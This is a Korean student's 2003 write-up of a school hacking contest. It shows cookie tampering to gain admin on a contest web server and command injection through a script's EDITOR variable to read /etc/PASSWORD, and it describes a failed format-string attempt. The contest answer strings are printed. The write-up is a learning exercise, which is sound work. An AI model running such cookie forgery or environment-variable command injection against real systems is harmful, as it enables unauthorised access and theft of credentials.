:):):):):):):):):):):):):):):):):):):):):) ;) 김천 과학대학 해킹 경진대회 보.고.서 ;) :):):):):):):):):):):):):):):):):):):):):) [ 중,고등부 ] --------------------------------------- | $ whoami | | 작성자 : hkpco(박찬암) | | 학교 : 남산중학교 | | e-mail&MSN : hkpco@hanmail.net | | home-page : http://hkpco.kr/ | --------------------------------------- ------ |at..| ------ KoreaSecurity Member - http://koreasecurity.net/ WiseGuys Member - http://hackerschool.org/ ㅡ______________________________________________________________ㅡ 씨익 대회 관계자 분들께 이런저런 말들.. ===================================== 안녕하세요. 먼저 이런 좋은 대회를 개최하여 주셔서 감사합니다. 그리고 여러 대회 운영자 분들께 저에게 이런 공부할수 있는 기회를 제공해 주셔서 감사하다는 말을 전하고 싶습니다. 이 대회를 계기로 많은것을 깨닫고 배우게 되었습니다. 참 배울게 많은 대회였습니다. 그럼 다음에도 이런 대회가 열리기를 기대하며 서두 마치겠습니다. ===================================== 1. 대회의 참가 김천 과학대학 대회가 시작되는날! 4시쯤 집으로 돌아와 컴퓨터를 키고 문제를 풀 준비를 하였습니다! 평소 매미처럼 붙어서 공부하던 3개의 서버를 켜 놓은채, 문제를 보았습니다. 먼저 1단계 go! (두근두근..) 2. level1 을 향하여.. 문제를 보겠습니다! ====================================================================== | -문제- | | http://211.205.70.252/ 에 접속하시어 웹 어드민 계정을 획득하세요 | | admin으로 접근시에 다음레벨의 패스워드를 보여줍니다 | ====================================================================== 우선 http://211.205.70.252/ 에 접속하였습니다. 로그인 창이 있어서 소스를 보니 /cgi-bin/LeVel1NiMdA.cgi 이것이 눈에 띄였습니다. 소스를 보는 방법은 저만의 테크닉? 아닌 테크닉이 있습니다. ( 아래에 ) ------------------------------------------------------------------------------------------ - 먼저 창틀안에 웹페이지만 있는 썰렁한 익스플로러가 있으면 - - Ctrl+N 을 누릅니다. 그러면 새 창이 하나 뜹니다. - - 그런데 그 창은 그 전에 네모난 틀안에 있는 페이지가 아닙니다! - - 보통 익스플로러 켤때처럼 파일,편집,보기 등의 메뉴와 단축 아이콘이 있는 그 창입니다! - - 그럼 보기-> 소스 로 가서 소스를 봅니다! 히힛.. - ------------------------------------------------------------------------------------------ 소스를 보니 다른 의심하는건 하나~(?) 도 안보였기에 telnet 을 이용하여 80번 포트에 접속하여 공격해보기로 하였습니다. !!! 보고서 작성하려는데 문제 서버가 닫혀서 미리 복사해둔 약간의 결과물을 편집하였습니다 !!! [hkpco@work hkpco]$ telnet 211.205.70.252 80 // 문제 서버에 80번 포트로 접속 Trying 211.205.70.252... Connected to 211.205.70.252. Escape character is '^]'. POST /cgi-bin/LeVel1NiMdA.cgi HTTP/1.0 // POST 를 이용하여, 문제서버에서 소스를 보았을때 있던 // /cgi-bin/LeVel1NiMdA.cgi 를 POST 를 이용하여! ( GET 도 가능하지만 ) HTTP/1.1 200 OK Date: Wed, 26 Nov 2003 15:56:42 GMT Server: Web/1.0.00 (Unix) Set-Cookie: count=1; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/ Set-Cookie: auth=user; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/ <- 이 부분에 auth=user 부분이 의심이 갔습니다. auth=user 부분에 admin 즉, 최고권한을 설정해 주면! 이라는 직감이 꼿혔습니다! /* 윗 부분을 설명하자면 쿠키를 설정해주는 부분에서 auth 로 userid 를 받아서 그 id 권한으로 일을 하는것 같습니다. */ Connection: close Content-Type: text/html Level1 Auth Cookie: auth=admin // auth 를 admin 으로 하여 입력 /* print... */ HTTP/1.1 200 OK Date: Wed, 26 Nov 2003 22:30:19 GMT Server: Web/1.0.00 (Unix) Set-Cookie: count=1; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/ Connection: close Content-Type: text/html Level1 Auth You are admin level.
Next stage
축하합니다. 1번 문제를 해결하셨습니다.

빠른 시간내에 아래 해답을 해킹대회 웹 사이트

(hacking.kcs.ac.kr)에 로그인 후 등록하시기 바랍니다.

해답 : 2qjsanswpfh%ok

username : admin
Connection closed by foreign host. [hkpco@work hkpco]$ 와~~~ 답은 2qjsanswpfh%ok 라고 나옵니다. 통과한것이네요 ^0^;; ################################################################################# ! ! ! feel? : 웹 상의 취약점에 큰 비중을 차지하고있는, 그리고 위험한 쿠키스니핑.. ! ! 쿠키 스니핑에 대한 감각과 위험도를 일깨워주는 좋은 문제였습니다 ^^; ! ! ! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 3. level2.. 가능할까..? 후웁! 한숨 크게 들이쉬고, 푸아~ 내쉬고.. 마음을 가다듬고 level2 를 향한 문제를 보았습니다. =================================================================================== | +문제+ | | 211.205.70.252서버의 18523/tcp 포트에 특정 목적의 프로그램이 동작하고 있습니다 | | 여러 프로그램과 명령이 존재하며 특정파일안에 다음레벨의 패스워드가 들어있습니다 | =================================================================================== 일단 부딧쳐 보아야 할 문제인것 같아서 telnet 을 이용하여 211.205.70.252 서버에 18523 포트로 접속하였습니다. [hkpco@work hkpco]$ telnet 211.205.70.252 18523 Trying 211.205.70.252... Connected to 211.205.70.252. Escape character is '^]'. level2 password: /* 앗.. level2 의 패스워드를 입력하라는군요, 나중에 안 사실이지만 이 전 문제에서 구한 2qjsanswpfh%ok 이 패스워드를 입력하라는 말이었는데, 전 그것도 모르고 저 인증을 풀어야 하는줄 알고 여러가지의 삽질을 하였습니다. 몇가지 예를 들자면 -_-; 저기에 NULL 도 넣어보고 인자를 많이 넣어서 어떤 오류가 나나도 보고 별에별 걸 다 해봤습니다 -_-; 보시면.. ( 아래에 ) */ ---------------------------------------------------------------------------------------------------------------------- 내가 뭘 했지? 1. [hkpco@work hkpco]$ (perl -e 'print 0x00';cat) | telnet 211.205.70.252 18523 // NULL 을 넣기 위하여.. 2. [hkpco@work hkpco]$ (perl -e 'print 0x00') | telnet 211.205.70.252 18523 // ;cat 을 넣지 않고.. 3. [hkpco@work hkpco]$ (perl -e 'print "AAAAAAAA...많이"';cat) | telnet 211.205.70.252 18523 // overflow 가 일어날까? 등등등.. ---------------------------------------------------------------------------------------------------------------------- 제가 저런 짓(?) 들을 했네요 -_-;; 이제 보면 제가 문제를 잘 읽어보지 못한 저의 산만함!? 때문인것 같습니다. 그리고 접속 해서도 명렁어 사용법을 몰라 헤멧습니다 ㅡ.ㅜ 자.. 그럼 이제 본격적으로 문제풀이를 해보겠습니다. !!! 고농도 액기스(?) 문제풀이 입니다 ㅡ_ㅡ; !!! [hkpco@work hkpco]$ telnet 211.205.70.252 18523 // 18523 포트로 문제 서버 접속! Trying 211.205.70.252... Connected to 211.205.70.252. Escape character is '^]'. level2 password: 2qjsanswpfh%ok // 이전에 구했던 패스워드 입력 Welcome to level2 command : help; help; // help command 를 입력하여 뭐가뭔지 알아봅니다! 출력 -> 대략 짐작잡아서 약간의 설명을 달면 HELP========================================= id; : current user id // id 보는거 cul; : calculator eg) cul 1 + 2; // 계산하는거 date; : current date and time // 시간 출력 cal; : calendar // 달력 출력 echo; : message test eg) echo this is test; // 기존의 리눅스의 echo 명령어와 유사, 혹은 동일 ---------------------------------------------------------------- | src; : view source // 소스를 보여주는것 | | srcl; : available source list // 리스트를 보여주는것 | ---------------------------------------------------------------- rand; : generate random value // 랜덤으로(?) 잘 모르겠음 logtime; : login time // 로그인한 시간을 출력 fortume; : fortune game // 게임? myip; : print your IP // 나의 ip 출 출력 // 자! 제일 중요한건 네모로 테두리를 쳐둔 src 와 srcl 입니다!!! // 파일의 리스트를 보면 src 와 srcl 이란게 있습니다. // 다른 파일들은 다 교란작전을 위한 헤더파일들 같기도 합니다. src srcl; // srcl 을 보았습니다. ======= source =[srcl]==================== #!/bin/ksh cd source echo * cd / // pwd; 도 먹혔는데(사용 가능했는데) 현재 경로가 / 였습니다. // 위 스크립트에서 봐도 현재 경로가 / 라는걸 짐작할수 있습니다. // source 디렉토리로 가서 파일리스트를 출력한 다음에 다시 / 로 가는 스크립트 입니다. ============================================ src src; // src 를 봅니다. ======= source =[src]==================== #!/bin/ksh -> ksh 을 사용합니다. if /bin/test -z $1 ; then echo "usage: src "; exit ; fi -> 인자의 유무를 판별, 인자가 있으면 다음으로, 없으면 usage: src 출력하고 종료합니다. fname=`/bin/basename $1` -> man-page 를 인용하겠습니다 -> basename 명령은 name 로부터 앞부분의 디렉토리명 부분을 모두 제거한다. if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi -> 문자열의 길이가 0이면 EDITOR 에 /bin/cat 을 넣습니다. echo "======= source =[$fname]====================" -> ======= source =[$fname]==================== 를 출력합니다. $fname 은 변수 $fname 의 내용을 출력합니다. $EDITOR source/$fname -> $EDITOR source/$fname 이 구문을 실행합니다. echo "============================================" -> ============================================ 를 출력합니다. ============================================ 위를 보시면 저런 쉘 스크립트를 모른다 하여도 $EDITOR 환경변수를 가지고 문제를 푼다는것을, 그리고 대충 어떤식으로 푸는가를 짐작할수 있습니다. export 를 $EDITOR에 적용시켜 echo 명령을 사용하여 현재 경로(최상위 디렉토리)에 파일들을 모조리 보기로 하였습니다. ( 현재경로를 최상위 디렉토리로 설정하여 준게 의심스러워서 ) $EDITOR source/$fname 이것을 보면 만약 $EDITOR 환경변수에 /bin/cat abcdefg 라는 내용을 넣었다면 $EDITOR source/$fname -> /bin/cat abcdefg source/$fname 이 될것입니다. 그런데 /bin/cat abcdefg 다음의 인자들은 무시할것입니다. 그럼 이제 그것을 이용하여 공격을 시도해 봅니다. export EDITOR="echo *"; // 모든 파일을 봅니다~! ( 현재경로 / ) src src; // src 파일이 어떻게 바뀌었을까요.. ======= source =[src]==================== bin cal cul date etc fortune help id lib source src srcl usr source/src // 여러 파일들이 있습니다. 제가 제일 먼저 눈에 띄었던건 etc 입니다. // etc 의 내용을 먼저 확인하기로 하였습니다! // ( 물론 다른것들도 있지만 아무래도 etc 같았습니다 ) // 과연 뭐가 들어있을까요.. ============================================ export EDITOR="echo /etc/*"; // export 를 가지고 EDITOR 환경변수를 echo 가 /etc/* 를 출력하도록 설정합니다. src src; // src 확인! ======= source =[src]==================== /etc/PASSWORD /etc/suid_profile source/src // 허억.. 유난히도 눈에 띄는게 /etc/PASSWORD 이군요! ============================================ export EDITOR="cat /etc/PASSWORD"; // 이번에는 cat 을 이용하여 /etc/PASSWORD 의 내용을 봅니다! src src; // src 확인! ======= source =[src]==================== // 앗.. 왜 아무것도 없지.. // 위에 스크립트에서 /bin/cat(절대경로) 를 사용하던데 // 그럼 이번에는 cat 의 절대경로를 써줘서 시도해 보아야 겠습니다. ============================================ export EDITOR="/bin/cat /etc/PASSWORD"; // 이번에는 /bin/cat 을 이용하여! ( 절대경로 ) src src; // src 확인! ======= source =[src]==================== 축하합니다. 2번 문제를 해결하셨습니다. 빠른 시간내에 아래 해답을 해킹대회 웹 사이트 (hacking.kcs.ac.kr)에 로그인 후 등록하시기 바랍니다. 등록 후 3번 문제부터 본격적인 해킹 능력을 맘껏 활용하여 해결해 보시기 바랍니다. 해답 : wk!ghkxld-3 #!/bin/ksh if /bin/test -z $1 ; then echo "usage: src "; exit ; fi fname=`/bin/basename $1` if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi echo "======= source =[$fname]====================" $EDITOR source/$fname echo "============================================" ============================================ . . . 아자~ 경사났네 -_-;; 아.. 이제 학원 갈 시간입니다. 시험기간인데.. 대회가! 읔.. ㅜ.ㅜ 일단 다녀 오겠습니다 =3=3=3 ##################################################################### ! ! ! feel? : 쉘 스크립트의 분석을 요하고, 취약점이 있는 스크립트를 ! ! 약간의 속임수(?) 로 공격하는 문제. ! ! 평소에도 취약점이 많이 발생하는 쉘 스크립트 코드에 ! ! 취약점 분석 능력과 보안 의식을 깨우치는 ! ! 인상깊은 문제였 습니다 ^^; ! ! ! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 4. level3 학원을 다녀 왔습니다. 오늘은 특별히 대회니까 자습 한두시간 빼먹고 11시에 도착했습니다. 12 시 좀 넘어서 까지 시험공부 조금 하다가 평소에 안하던 짓을.. -_-;; 밤에 컴퓨터 켜두고 몰래몰래 했습니다. 막 하다가 보니까 가족 중 누가 나오시길래 모니터 끄고 불 끄고 바로 자는척 했습니다 다행히 걸리지는 않았지만 모니터가 꺼져있는 작업하고 있던 컴퓨터를 끄시는것이었습니다. 허억!! 안되애!!!.. 흑.. 그래도 안걸린게 어디야.. 다시 컴퓨터를 키고 문제를 보았습니다. ----------------------------------------------------------------------- | >문제< | | 211.205.70.252서버의 35232/tcp포트에 특정 데몬이 동작하고 있습니다 | | 특정 명령에 취약점이 발생합니다 | ----------------------------------------------------------------------- 아.. 이건 또 뭐지 ㅡ.ㅜ 순간! 그 순간! 힌트를 보는 순간! 눈앞이 black 으로 덮혀있었습니다. 왜냐하면 힌트를 보니 Format String Bug 가 존재한다고 되어있었기 때문입니다. 저번부터 배운다 배운다 해놓고서는 여러 가지 이해를 못해서 못하고 있었는데 ㅜ.ㅜ 그래도 꿋꿋이 접속하여서 arg 에 값을 많이 넣고 난 뒤, 덤프된걸 보니 ret 위에 존재하는 argv 영역에만 값이 쌓였습니다. 역시, bof 취약점이 없는건가.. 아.. fsb 를 몰라서 지푸라기라도 잡는 심정으로 공부를 하였지만 피곤+머리+능력+노력 등이 안따라 주어서.. 익히지 못했습니다 ㅜ.ㅜ 물론 이번 대회 문제는 간단한 local fsb 로 풀릴게 아니라는건 알았지만 그래도 fsb 를 알면 조금이라도 더 이해가 될것같아서 해봤는데.. 결국은 못하고, 그리고 포기하고 컴퓨터를 끄고 자야 했습니다.. ##################################################################### ! ! ! feel? : 이 문제는 저의 무능력(?) 함과 평소 몰랐던 fsb 를 ! ! 게을러서 배우지 아니한, 게으름의 결과라고 생각합니다. ! ! 이제는 되도록이면 게을부리지 않고 열심히 해야겠습니다! ! ! ! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 5. 후기 히힛.. 이번 대회 정말 인상깊은 대회였습니다~.. 제가 이제까지 본 학생들이 참여하는 대회는 고등학생 대회 밖에 못봤습니다. 그런데 이렇게 중,고 등학생의 대회로 세심한 배려를 해주시니 감사할 따릅입니다. ^^; 이 대회 덕분에 배운것도 많았고, 재미있었던 일도 많았습니다. 그리고 저의 부족한 실력을 자극시켜준 이 대회를 계기로 앞으로 더 공부를 열심히 할수있을것 같은 좋은 느낌이 듭니다. 저의 보고서를 읽어주셔서 감사합니다. 김천과학대학 대회.. 정말 좋은 대회였습니다. 그럼 수고하세요 ^^;